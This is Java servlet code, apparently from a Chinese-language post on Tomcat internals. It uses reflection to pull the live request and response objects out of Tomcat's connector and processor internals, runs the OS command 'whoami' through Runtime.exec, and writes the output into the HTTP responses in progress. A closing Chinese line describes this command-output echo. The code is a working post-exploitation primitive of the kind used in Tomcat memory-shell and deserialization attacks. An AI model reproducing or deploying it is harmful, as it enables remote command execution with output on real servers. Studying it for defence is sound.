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package com;import org.apache.catalina.Context;import org.apache.catalina.Service;import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.coyote.AbstractProtocol;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.coyote.Response;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Modifier;import java.util.ArrayList;@WebServlet("/demoServlet")public class demoServlet extends HttpServlet {protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();try {Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");context.setAccessible(true);ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");service.setAccessible(true);StandardService standardService = (StandardService)service.get(ApplicationContext);Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");connectors.setAccessible(true);Connector[] connector = (Connector[])connectors.get(standardService);Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");protocolHandler.setAccessible(true);//AbstractProtocol abstractProtocol = (AbstractProtocol)protocolHandler.get(connector[0]);Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();for (Class<?> aClass : AbstractProtocol_list) {if (aClass.getName().length()==52){java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);getHandlerMethod.setAccessible(true);Field globalField = aClass.getDeclaredField("global");globalField.setAccessible(true);org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");processors.setAccessible(true);java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");req.setAccessible(true);for (RequestInfo requestInfo : RequestInfo_list) {org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo);org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);org.apache.catalina.connector.Response response2 = request2.getResponse();response2.getWriter().write("111");InputStream whoami = Runtime.getRuntime().exec("whoami").getInputStream();//BufferedInputStream bufferedInputStream = new BufferedInputStream(whoami);BufferedInputStream bis = new BufferedInputStream(whoami);int b ;while ((b = bis.read())!=-1){response2.getWriter().write(b);}}}}} catch (NoSuchFieldException e) {e.printStackTrace();} catch (ClassNotFoundException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();} catch (NoSuchMethodException e) {e.printStackTrace();} catch (InvocationTargetException e) {e.printStackTrace();}}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {this.doPost(request, response);}}將命令執(zhí)行結(jié)果使用獲取到的Request和Response來輸出。

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